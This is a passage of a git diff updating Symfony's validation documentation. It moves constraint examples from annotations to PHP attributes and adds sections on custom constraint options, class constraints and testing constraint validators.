create a closure to validate values +against a set of constraints (useful for example when +:ref:`validating Console command answers <console-validate-question-answer>` or +when :ref:`validating OptionsResolver values <optionsresolver-validate-value>`): - .. code-block:: xml - - <!-- config/packages/framework.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - - <framework:config> - <framework:validation enabled="true"/> - </framework:config> - </container> - - .. code-block:: php - - // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'validation' => [ - 'enabled' => true, - ], - ]); - -Besides, if you plan to use annotations to configure validation, replace the -previous configuration by the following: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/framework.yaml - framework: - validation: { enable_annotations: true } - - .. code-block:: xml - - <!-- config/packages/framework.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - - <framework:config> - <framework:validation enable-annotations="true"/> - </framework:config> - </container> - - .. code-block:: php - - // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'validation' => [ - 'enable_annotations' => true, - ], - ]); - -.. tip:: - - When using PHP, YAML, and XML files instead of annotations, Symfony looks - for by default in the ``config/validator/`` directory, but you can configure - other directories with the :ref:`validation.mapping.paths <reference-validation-mapping>` option. - -.. index:: - single: Validation; Constraints +:method:`Symfony\\Component\\Validator\\Validation::createCallable` + This returns a closure that throws ``ValidationFailedException`` when the + constraints aren't matched. +:method:`Symfony\\Component\\Validator\\Validation::createIsValidCallable` + This returns a closure that returns ``false`` when the constraints aren't matched. .. _validation-constraints: @@ -298,7 +227,7 @@ rules). In order to validate an object, simply map one or more constraints to its class and then pass it to the ``validator`` service. Behind the scenes, a constraint is simply a PHP object that makes an assertive -statement. In real life, a constraint could be: 'The cake must not be burned'. +statement. In real life, a constraint could be: ``'The cake must not be burned'``. In Symfony, constraints are similar: they are assertions that a condition is true. Given a value, a constraint will tell you if that value adheres to the rules of the constraint. @@ -313,9 +242,6 @@ Symfony packages many of the most commonly-needed constraints: You can also create your own custom constraints. This topic is covered in the :doc:`/validation/custom_constraint` article. -.. index:: - single: Validation; Constraints configuration - .. _validation-constraint-configuration: Constraint Configuration @@ -330,7 +256,7 @@ literature genre mostly associated with the author, which can be set to either .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -340,13 +266,11 @@ literature genre mostly associated with the author, which can be set to either class Author { - /** - * @Assert\Choice( - * choices = { "fiction", "non-fiction" }, - * message = "Choose a valid genre." - * ) - */ - private $genre; + #[Assert\Choice( + choices: ['fiction', 'non-fiction'], + message: 'Choose a valid genre.', + )] + private string $genre; // ... } @@ -395,142 +319,48 @@ literature genre mostly associated with the author, which can be set to either class Author { - private $genre; + private string $genre; // ... - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { // ... - $metadata->addPropertyConstraint('genre', new Assert\Choice([ - 'choices' => ['fiction', 'non-fiction'], - 'message' => 'Choose a valid genre.', - ])); + $metadata->addPropertyConstraint('genre', new Assert\Choice( + choices: ['fiction', 'non-fiction'], + message: 'Choose a valid genre.', + )); } } -.. _validation-default-option: - -The options of a constraint can always be passed in as an array. Some constraints, -however, also allow you to pass the value of one, "*default*", option in place -of the array. In the case of the ``Choice`` constraint, the ``choices`` -options can be specified in this way. - -.. configuration-block:: - - .. code-block:: php-annotations - - // src/Entity/Author.php - namespace App\Entity; - - // ... - use Symfony\Component\Validator\Constraints as Assert; - - class Author - { - /** - * @Assert\Choice({"fiction", "non-fiction"}) - */ - private $genre; - - // ... - } - - .. code-block:: yaml - - # config/validator/validation.yaml - App\Entity\Author: - properties: - genre: - - Choice: [fiction, non-fiction] - # ... - - .. code-block:: xml - - <!-- config/validator/validation.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping - https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> - - <class name="App\Entity\Author"> - <property name="genre"> - <constraint name="Choice"> - <value>fiction</value> - <value>non-fiction</value> - </constraint> - </property> - - <!-- ... --> - </class> - </constraint-mapping> - - .. code-block:: php - - // src/Entity/Author.php - namespace App\Entity; - - // ... - use Symfony\Component\Validator\Constraints as Assert; - use Symfony\Component\Validator\Mapping\ClassMetadata; - - class Author - { - private $genre; - - public static function loadValidatorMetadata(ClassMetadata $metadata) - { - // ... - - $metadata->addPropertyConstraint( - 'genre', - new Assert\Choice(['fiction', 'non-fiction']) - ); - } - } - -This is purely meant to make the configuration of the most common option of -a constraint shorter and quicker. - -If you're ever unsure of how to specify an option, either check the namespace -``Symfony\Component\Validator\Constraints`` for the constraint or play it safe -by always passing in an array of options (the first method shown above). - Constraints in Form Classes --------------------------- Constraints can be defined while building the form via the ``constraints`` option of the form fields:: - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('myField', TextType::class, [ 'required' => true, - 'constraints' => [new Length(['min' => 3])] + 'constraints' => [new Length(['min' => 3])], ]) ; } -.. index:: - single: Validation; Constraint targets - .. _validator-constraint-targets: Constraint Targets ------------------ -Constraints can be applied to a class property (e.g. ``name``), a public -getter method (e.g. ``getFullName()``) or an entire class. Property constraints +Constraints can be applied to a class property (e.g. ``name``), +a getter method (e.g. ``getFullName()``) or an entire class. Property constraints are the most common and easy to use. Getter constraints allow you to specify more complex validation rules. Finally, class constraints are intended for scenarios where you want to validate a class as a whole. -.. index:: - single: Validation; Property constraints - .. _validation-property-target: Properties @@ -543,7 +373,7 @@ class to have at least 3 characters. .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php @@ -552,11 +382,9 @@ class to have at least 3 characters. class Author { - /** - * @Assert\NotBlank - * @Assert\Length(min=3) - */ - private $firstName; + #[Assert\NotBlank] + #[Assert\Length(min: 3)] + private string $firstName; } .. code-block:: yaml @@ -599,26 +427,29 @@ class to have at least 3 characters. class Author { - private $firstName; + private string $firstName; - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('firstName', new Assert\NotBlank()); $metadata->addPropertyConstraint( 'firstName', - new Assert\Length(["min" => 3]) + new Assert\Length(min: 3) ); } } -.. index:: - single: Validation; Getter constraints +.. warning:: + + The validator will use a value ``null`` if a typed property is uninitialized. + This can cause unexpected behavior if the property holds a value when initialized. + In order to avoid this, make sure all properties are initialized before validating them. Getters ~~~~~~~ Constraints can also be applied to the return value of a method. Symfony -allows you to add a constraint to any public method whose name starts with +allows you to add a constraint to any private, protected or public method whose name starts with "get", "is" or "has". In this guide, these types of methods are referred to as "getters". @@ -630,7 +461,7 @@ this method must return ``true``: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -640,10 +471,8 @@ this method must return ``true``: class Author { - /** - * @Assert\IsTrue(message="The password cannot match your first name") - */ - public function isPasswordSafe() + #[Assert\IsTrue(message: 'The password cannot match your first name')] + public function isPasswordSafe(): bool { // ... return true or false } @@ -686,17 +515,17 @@ this method must return ``true``: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue([ - 'message' => 'The password cannot match your first name', - ])); + $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue( + message: 'The password cannot match your first name', + )); } } Now, create the ``isPasswordSafe()`` method and include the logic you need:: - public function isPasswordSafe() + public function isPasswordSafe(): bool { return $this->firstName !== $this->password; } @@ -719,12 +548,22 @@ constraint that's applied to the class itself. When that class is validated, methods specified by that constraint are simply executed so that each can provide more custom validation. -Debugging the Constraints -------------------------- +Validating Object With Inheritance +---------------------------------- + +When you validate an object that extends another class, the validator +automatically validates constraints defined in the parent class as well. -.. versionadded:: 5.2 +**The constraints defined in the parent properties will be applied to the child +properties even if the child properties override those constraints**. Symfony +will always merge the parent constraints for each property. - The ``debug:validator`` command was introduced in Symfony 5.2. +You can't change this behavior, but you can overcome it by defining the parent +and the child constraints in different :doc:`validation groups </validation/groups>` +and then select the appropriate group when validating each object. + +Debugging the Constraints +------------------------- Use the ``debug:validator`` command to list the validation constraints of a given class: diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst index a569e5c6bfa..10584a36383 100644 --- a/validation/custom_constraint.rst +++ b/validation/custom_constraint.rst @@ -1,7 +1,4 @@ -.. index:: - single: Validation; Custom constraints - -How to Create a custom Validation Constraint +How to Create a Custom Validation Constraint ============================================ You can create a custom constraint by extending the base constraint class, @@ -12,27 +9,99 @@ alphanumeric characters. Creating the Constraint Class ----------------------------- -First you need to create a Constraint class and extend :class:`Symfony\\Component\\Validator\\Constraint`:: +First you need to create a Constraint class and extend :class:`Symfony\\Component\\Validator\\Constraint`: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Validator/ContainsAlphanumeric.php + namespace App\Validator; + + use Symfony\Component\Validator\Constraint; + + #[\Attribute] + class ContainsAlphanumeric extends Constraint + { + public string $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.'; + public string $mode = 'strict'; + + // all configurable options must be passed to the constructor + public function __construct(?string $mode = null, ?string $message = null, ?array $groups = null, $payload = null) + { + parent::__construct([], $groups, $payload); + + $this->mode = $mode ?? $this->mode; + $this->message = $message ?? $this->message; + } + } + +Add ``#[\Attribute]`` to the constraint class if you want to +use it as an attribute in other classes. - // src/Validator/Constraints/ContainsAlphanumeric.php - namespace App\Validator\Constraints; +You can use ``#[HasNamedArguments]`` to make some constraint options required:: + // src/Validator/ContainsAlphanumeric.php + namespace App\Validator; + + use Symfony\Component\Validator\Attribute\HasNamedArguments; use Symfony\Component\Validator\Constraint; - /** - * @Annotation - */ + #[\Attribute] class ContainsAlphanumeric extends Constraint { - public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.'; + public string $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.'; + + #[HasNamedArguments] + public function __construct( + public string $mode, + ?array $groups = null, + mixed $payload = null, + ) { + parent::__construct([], $groups, $payload); + } } -.. note:: +Constraint with Private Properties +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Constraints are cached for performance reasons. To achieve this, the base +``Constraint`` class uses PHP's :phpfunction:`get_object_vars` function, which +excludes private properties of child classes. + +If your constraint defines private properties, you must explicitly include them +in the ``__sleep()`` method to ensure they are serialized correctly:: + + // src/Validator/ContainsAlphanumeric.php + namespace App\Validator; - The ``@Annotation`` annotation is necessary for this new constraint in - order to make it available for use in classes via annotations. - Options for your constraint are represented as public properties on the - constraint class. + use Symfony\Component\Validator\Attribute\HasNamedArguments; + use Symfony\Component\Validator\Constraint; + + #[\Attribute] + class ContainsAlphanumeric extends Constraint + { + public string $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.'; + + #[HasNamedArguments] + public function __construct( + private string $mode, + ?array $groups = null, + mixed $payload = null, + ) { + parent::__construct([], $groups, $payload); + } + + public function __sleep(): array + { + return array_merge( + parent::__sleep(), + [ + 'mode' + ] + ); + } + } Creating the Validator itself ----------------------------- @@ -43,7 +112,7 @@ class is specified by the constraint's ``validatedBy()`` method, which has this default logic:: // in the base Symfony\Component\Validator\Constraint class - public function validatedBy() + public function validatedBy(): string { return static::class.'Validator'; } @@ -54,8 +123,8 @@ when actually performing the validation. The validator class only has one required method ``validate()``:: - // src/Validator/Constraints/ContainsAlphanumericValidator.php - namespace App\Validator\Constraints; + // src/Validator/ContainsAlphanumericValidator.php + namespace App\Validator; use Symfony\Component\Validator\Constraint; use Symfony\Component\Validator\ConstraintValidator; @@ -64,14 +133,14 @@ The validator class only has one required method ``validate()``:: class ContainsAlphanumericValidator extends ConstraintValidator { - public function validate($value, Constraint $constraint) + public function validate(mixed $value, Constraint $constraint): void { if (!$constraint instanceof ContainsAlphanumeric) { throw new UnexpectedTypeException($constraint, ContainsAlphanumeric::class); } // custom constraints should ignore null and empty values to allow - // other constraints (NotBlank, NotNull, etc.) take care of that + // other constraints (NotBlank, NotNull, etc.) to take care of that if (null === $value || '' === $value) { return; } @@ -84,22 +153,36 @@ The validator class only has one required method ``validate()``:: // throw new UnexpectedValueException($value, 'string|int'); } - if (!preg_match('/^[a-zA-Z0-9]+$/', $value, $matches)) { - // the argument must be a string or an object implementing __toString() - $this->context->buildViolation($constraint->message) - ->setParameter('{{ string }}', $value) - ->addViolation(); + // access your configuration options like this: + if ('strict' === $constraint->mode) { + // ... + } + + if (preg_match('/^[a-zA-Z0-9]+$/', $value, $matches)) { + return; } + + // the argument must be a string or an object implementing __toString() + $this->context->buildViolation($constraint->message) + ->setParameter('{{ string }}', $value) + ->addViolation(); } } -Inside ``validate``, you don't need to return a value. Instead, you add violations +Inside ``validate()``, you don't need to return a value. Instead, you add violations to the validator's ``context`` property and a value will be considered valid if it causes no violations. The ``buildViolation()`` method takes the error message as its argument and returns an instance of :class:`Symfony\\Component\\Validator\\Violation\\ConstraintViolationBuilderInterface`. The ``addViolation()`` method call finally adds the violation to the context. +.. tip:: + + Validation error messages are automatically translated to the current application + locale. If your application doesn't use translations, you can disable this behavior + by calling the ``disableTranslation()`` method of ``ConstraintViolationBuilderInterface``. + See also the :ref:`framework.validation.disable_translation option <reference-validation-disable_translation>`. + Using the new Validator ----------------------- @@ -107,23 +190,21 @@ You can use custom validators like the ones provided by Symfony itself: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/AcmeEntity.php namespace App\Entity; - use App\Validator\Constraints as AcmeAssert; + use App\Validator as AcmeAssert; use Symfony\Component\Validator\Constraints as Assert; class AcmeEntity { // ... - /** - * @Assert\NotBlank - * @AcmeAssert\ContainsAlphanumeric - */ - protected $name; + #[Assert\NotBlank] + #[AcmeAssert\ContainsAlphanumeric(mode: 'loose')] + protected string $name; // ... } @@ -131,11 +212,12 @@ You can use custom validators like the ones provided by Symfony itself: .. code-block:: yaml # config/validator/validation.yaml - App\Entity\AcmeEntity: + App\Entity\User: properties: name: - NotBlank: ~ - - App\Validator\Constraints\ContainsAlphanumeric: ~ + - App\Validator\ContainsAlphanumeric: + mode: 'loose' .. code-block:: xml @@ -145,31 +227,35 @@ You can use custom validators like the ones provided by Symfony itself: xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> - <class name="App\Entity\AcmeEntity"> + <class name="App\Entity\User"> <property name="name"> <constraint name="NotBlank"/> - <constraint name="App\Validator\Constraints\ContainsAlphanumeric"/> + <constraint name="App\Validator\ContainsAlphanumeric"> + <option name="mode">loose</option> + </constraint> </property> </class> </constraint-mapping> .. code-block:: php - // src/Entity/AcmeEntity.php + // src/Entity/User.php namespace App\Entity; - use App\Validator\Constraints\ContainsAlphanumeric; + use App\Validator\ContainsAlphanumeric; use Symfony\Component\Validator\Constraints\NotBlank; use Symfony\Component\Validator\Mapping\ClassMetadata; - class AcmeEntity + class User { - public $name; + protected string $name = ''; - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('name', new NotBlank()); - $metadata->addPropertyConstraint('name', new ContainsAlphanumeric()); + $metadata->addPropertyConstraint('name', new ContainsAlphanumeric(mode: 'loose')); } } @@ -185,36 +271,217 @@ then your validator is already registered as a service and :doc:`tagged </servic with the necessary ``validator.constraint_validator``. This means you can :ref:`inject services or configuration <services-constructor-injection>` like any other service. -Create a Reusable Set of Constraints -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Constraint Validators with Custom Options +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you want to add some configuration options to your custom constraint, first +define those options as public properties on the constraint class:: + + // src/Validator/Foo.php + namespace App\Validator; + + use Symfony\Component\Validator\Attribute\HasNamedArguments; + use Symfony\Component\Validator\Constraint; + + #[\Attribute] + class Foo extends Constraint + { + public $mandatoryFooOption; + public $message = 'This value is invalid'; + public $optionalBarOption = false; + + #[HasNamedArguments] + public function __construct( + $mandatoryFooOption, + ?string $message = null, + ?bool $optionalBarOption = null, + ?array $groups = null, + $payload = null, + array $options = [] + ) { + if (\is_array($mandatoryFooOption)) { + $options = array_merge($mandatoryFooOption, $options); + } elseif (null !== $mandatoryFooOption) { + $options['value'] = $mandatoryFooOption; + } + + parent::__construct($options, $groups, $payload); + + $this->message = $message ?? $this->message; + $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption; + } + + public function getDefaultOption(): string + { + return 'mandatoryFooOption'; + } + + public function getRequiredOptions(): array + { + return ['mandatoryFooOption']; + } + } + +Then, inside the validator class you can access these options directly via the +constraint class passed to the ``validate()`` method:: + + class FooValidator extends ConstraintValidator + { + public function validate($value, Constraint $constraint) + { + // access any option of the constraint + if ($constraint->optionalBarOption) { + // ... + } + + // ... + } + } + +When using this constraint in your own application, you can pass the value of +the custom options like you pass any other option in built-in constraints: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/AcmeEntity.php + namespace App\Entity; + + use App\Validator as AcmeAssert; + use Symfony\Component\Validator\Constraints as Assert; + + class AcmeEntity + { + // ... + + #[Assert\NotBlank] + #[AcmeAssert\Foo( + mandatoryFooOption: 'bar', + optionalBarOption: true + )] + protected $name; + + // ... + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\AcmeEntity: + properties: + name: + - NotBlank: ~ + - App\Validator\Foo: + mandatoryFooOption: bar + optionalBarOption: true + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\AcmeEntity"> + <property name="name"> + <constraint name="NotBlank"/> + <constraint name="App\Validator\Foo"> + <option name="mandatoryFooOption">bar</option> + <option name="optionalBarOption">true</option> + </constraint> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/AcmeEntity.php + namespace App\Entity; + + use App\Validator\ContainsAlphanumeric; + use Symfony\Component\Validator\Constraints\NotBlank; + use Symfony\Component\Validator\Mapping\ClassMetadata; -In case you need to apply some common set of constraints in different places -consistently across your application, you can extend the :doc:`Compound constraint </reference/constraints/Compound>`. + class AcmeEntity + { + public $name; + + public static function loadValidatorMetadata(ClassMetadata $metadata) + { + $metadata->addPropertyConstraint('name', new NotBlank()); + $metadata->addPropertyConstraint('name', new Foo( + mandatoryFooOption: 'bar', + optionalBarOption: true, + )); + } + } -.. versionadded:: 5.1 +Create a Reusable Set of Constraints +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - The ``Compound`` constraint was introduced in Symfony 5.1. +In case you need to consistently apply a common set of constraints +across your application, you can extend the :doc:`Compound constraint </reference/constraints/Compound>`. Class Constraint Validator ~~~~~~~~~~~~~~~~~~~~~~~~~~ Besides validating a single property, a constraint can have an entire class -as its scope. You only need to add this to the ``Constraint`` class:: +as its scope. + +For instance, imagine you also have a ``PaymentReceipt`` entity and you +need to make sure the email of the receipt payload matches the user's +email. First, create a constraint and override the ``getTargets()`` method:: + + // src/Validator/ConfirmedPaymentReceipt.php + namespace App\Validator; + + use Symfony\Component\Validator\Constraint; - public function getTargets() + #[\Attribute] + class ConfirmedPaymentReceipt extends Constraint { - return self::CLASS_CONSTRAINT; + public string $userDoesNotMatchMessage = 'User\'s e-mail address does not match that of the receipt'; + + public function getTargets(): string + { + return self::CLASS_CONSTRAINT; + } } -With this, the validator's ``validate()`` method gets an object as its first argument:: +Now, the constraint validator will get an object as the first argument to +``validate()``:: + + // src/Validator/ConfirmedPaymentReceiptValidator.php + namespace App\Validator; + + use Symfony\Component\Validator\Constraint; + use Symfony\Component\Validator\ConstraintValidator; + use Symfony\Component\Validator\Exception\UnexpectedValueException; - class ProtocolClassValidator extends ConstraintValidator + class ConfirmedPaymentReceiptValidator extends ConstraintValidator { - public function validate($protocol, Constraint $constraint) + /** + * @param PaymentReceipt $receipt + */ + public function validate($receipt, Constraint $constraint): void { - if ($protocol->getFoo() != $protocol->getBar()) { - $this->context->buildViolation($constraint->message) - ->atPath('foo') + if (!$receipt instanceof PaymentReceipt) { + throw new UnexpectedValueException($receipt, PaymentReceipt::class); + } + + if (!$constraint instanceof ConfirmedPaymentReceipt) { + throw new UnexpectedValueException($constraint, ConfirmedPaymentReceipt::class); + } + + $receiptEmail = $receipt->getPayload()['email'] ?? null; + $userEmail = $receipt->getUser()->getEmail(); + + if ($userEmail !== $receiptEmail) { + $this->context + ->buildViolation($constraint->userDoesNotMatchMessage) + ->atPath('user.email') ->addViolation(); } } @@ -222,20 +489,22 @@ With this, the validator's ``validate()`` method gets an object as its first arg .. tip:: - The ``atPath()`` method defines the property which the validation error is - associated to. Use any :doc:`valid PropertyAccess syntax </components/property_access>` + The ``atPath()`` method defines the property with which the validation error is + associated. Use any :doc:`valid PropertyAccess syntax </components/property_access>` to define that property. -A class constraint validator is applied to the class itself, and -not to the property: +A class constraint validator must be applied to the class itself: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes - /** - * @AcmeAssert\ProtocolClass - */ + // src/Entity/AcmeEntity.php + namespace App\Entity; + + use App\Validator as AcmeAssert; + + #[AcmeAssert\ConfirmedPaymentReceipt] class AcmeEntity { // ... @@ -244,31 +513,159 @@ not to the property: .. code-block:: yaml # config/validator/validation.yaml - App\Entity\AcmeEntity: + App\Entity\PaymentReceipt: constraints: - - App\Validator\Constraints\ProtocolClass: ~ + - App\Validator\ConfirmedPaymentReceipt: ~ .. code-block:: xml <!-- config/validator/validation.xml --> - <class name="App\Entity\AcmeEntity"> - <constraint name="App\Validator\Constraints\ProtocolClass"/> - </class> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping + https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\PaymentReceipt"> + <constraint name="App\Validator\ConfirmedPaymentReceipt"/> + </class> + </constraint-mapping> .. code-block:: php - // src/Entity/AcmeEntity.php + // src/Entity/PaymentReceipt.php namespace App\Entity; - use App\Validator\Constraints\ProtocolClass; + use App\Validator\ConfirmedPaymentReceipt; use Symfony\Component\Validator\Mapping\ClassMetadata; - class AcmeEntity + class PaymentReceipt { // ... - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addConstraint(new ProtocolClass()); + $metadata->addConstraint(new ConfirmedPaymentReceipt()); } } + +Testing Custom Constraints +-------------------------- + +Atomic Constraints +~~~~~~~~~~~~~~~~~~ + +Use the :class:`Symfony\\Component\\Validator\\Test\\ConstraintValidatorTestCase` +class to simplify writing unit tests for your custom constraints:: + + // tests/Validator/ContainsAlphanumericValidatorTest.php + namespace App\Tests\Validator; + + use App\Validator\ContainsAlphanumeric; + use App\Validator\ContainsAlphanumericValidator; + use Symfony\Component\Validator\ConstraintValidatorInterface; + use Symfony\Component\Validator\Test\ConstraintValidatorTestCase; + + class ContainsAlphanumericValidatorTest extends ConstraintValidatorTestCase + { + protected function createValidator(): ConstraintValidatorInterface + { + return new ContainsAlphanumericValidator(); + } + + public function testNullIsValid(): void + { + $this->validator->validate(null, new ContainsAlphanumeric()); + + $this->assertNoViolation(); + } + + /** + * @dataProvider provideInvalidConstraints + */ + public function testTrueIsInvalid(ContainsAlphanumeric $constraint): void + { + $this->validator->validate('...', $constraint); + + $this->buildViolation('myMessage') + ->setParameter('{{ string }}', '...') + ->assertRaised(); + } + + public function provideInvalidConstraints(): \Generator + { + yield [new ContainsAlphanumeric(message: 'myMessage')]; + // ... + } + } + +Compound Constraints +~~~~~~~~~~~~~~~~~~~~ + +Consider the following compound constraint that checks if a string meets +the minimum requirements for your password policy:: + + // src/Validator/PasswordRequirements.php + namespace App\Validator; + + use Symfony\Component\Validator\Constraints as Assert; + + #[\Attribute] + class PasswordRequirements extends Assert\Compound + { + protected function getConstraints(array $options): array + { + return [ + new Assert\NotBlank(allowNull: false), + new Assert\Length(min: 8, max: 255), + new Assert\NotCompromisedPassword(), + new Assert\Type('string'), + new Assert\Regex('/[A-Z]+/'), + ]; + } + } + +You can use the :class:`Symfony\\Component\\Validator\\Test\\CompoundConstraintTestCase` +class to check precisely which of the constraints failed to pass:: + + // tests/Validator/PasswordRequirementsTest.php + namespace App\Tests\Validator; + + use App\Validator\PasswordRequirements; + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Test\CompoundConstraintTestCase; + + /** + * @extends CompoundConstraintTestCase<PasswordRequirements> + */ + class PasswordRequirementsTest extends CompoundConstraintTestCase + { + public function createCompound(): Assert\Compound + { + return new PasswordRequirements(); + } + + public function testInvalidPassword(): void + { + $this->validateValue('azerty123'); + + // check all constraints pass except for the + // password leak and the uppercase letter checks + $this->assertViolationsRaisedByCompound([ + new Assert\NotCompromisedPassword(), + new Assert\Regex('/[A-Z]+/'), + ]); + } + + public function testValid(): void + { + $this->validateValue('VERYSTR0NGP4$$WORD#%!'); + + $this->assertNoViolation(); + } + } + +.. versionadded:: 7.2 + + The :class:`Symfony\\Component\\Validator\\Test\\CompoundConstraintTestCase` + class was introduced in Symfony 7.2. diff --git a/validation/groups.rst b/validation/groups.rst index b25c82236fc..55625be702d 100644 --- a/validation/groups.rst +++ b/validation/groups.rst @@ -1,6 +1,3 @@ -.. index:: - single: Validation; Groups - How to Apply only a Subset of all Your Validation Constraints (Validation Groups) ================================================================================= @@ -15,7 +12,7 @@ user registers and when a user updates their contact information later: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/User.php namespace App\Entity; @@ -25,21 +22,15 @@ user registers and when a user updates their contact information later: class User implements UserInterface { - /** - * @Assert\Email(groups={"registration"}) - */ - private $email; - - /** - * @Assert\NotBlank(groups={"registration"}) - * @Assert\Length(min=7, groups={"registration"}) - */ - private $password; - - /** - * @Assert\Length(min=2) - */ - private $city; + #[Assert\Email(groups: ['registration'])] + private string $email; + + #[Assert\NotBlank(groups: ['registration'])] + #[Assert\Length(min: 7, groups: ['registration'])] + private string $password; + + #[Assert\Length(min: 2)] + private string $city; } .. code-block:: yaml @@ -108,23 +99,23 @@ user registers and when a user updates their contact information later: class User { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('email', new Assert\Email([ - 'groups' => ['registration'], - ])); - - $metadata->addPropertyConstraint('password', new Assert\NotBlank([ - 'groups' => ['registration'], - ])); - $metadata->addPropertyConstraint('password', new Assert\Length([ - 'min' => 7, - 'groups' => ['registration'], - ])); - - $metadata->addPropertyConstraint('city', new Assert\Length([ - "min" => 2, - ])); + $metadata->addPropertyConstraint('email', new Assert\Email( + groups: ['registration'], + )); + + $metadata->addPropertyConstraint('password', new Assert\NotBlank( + groups: ['registration'], + )); + $metadata->addPropertyConstraint('password', new Assert\Length( + min: 7, + groups: ['registration'], + )); + + $metadata->addPropertyConstraint('city', new Assert\Length( + min: 2, + )); } } @@ -142,14 +133,14 @@ With this configuration, there are three validation groups: ``registration`` This is a custom validation group, so it only contains the constraints - explicitly associated to it. In this example, only the ``email`` and + that are explicitly associated with it. In this example, only the ``email`` and ``password`` fields. Constraints in the ``Default`` group of a class are the constraints that have either no explicit group configured or that are configured to a group equal to the class name or the string ``Default``. -.. caution:: +.. warning:: When validating *just* the User object, there is no difference between the ``Default`` group and the ``User`` group. But, there is a difference if diff --git a/validation/raw_values.rst b/validation/raw_values.rst index cd25bec0653..9c900ff2b36 100644 --- a/validation/raw_values.rst +++ b/validation/raw_values.rst @@ -1,6 +1,3 @@ -.. index:: - single: Validation; Validating raw values - How to Validate Raw Values (Scalar Values and Arrays) ===================================================== @@ -13,7 +10,7 @@ address. From inside a controller, it looks like this:: use Symfony\Component\Validator\Validator\ValidatorInterface; // ... - public function addEmail($email, ValidatorInterface $validator) + public function addEmail(string $email, ValidatorInterface $validator): void { $emailConstraint = new Assert\Email(); // all constraint "options" can be set this way @@ -25,7 +22,7 @@ address. From inside a controller, it looks like this:: $emailConstraint ); - if (0 === count($errors)) { + if (!$errors->count()) { // ... this IS a valid email address, do something } else { // this is *not* a valid email address @@ -88,7 +85,7 @@ Validation of arrays is possible using the ``Collection`` constraint:: new Assert\Collection([ 'slug' => [ new Assert\NotBlank(), - new 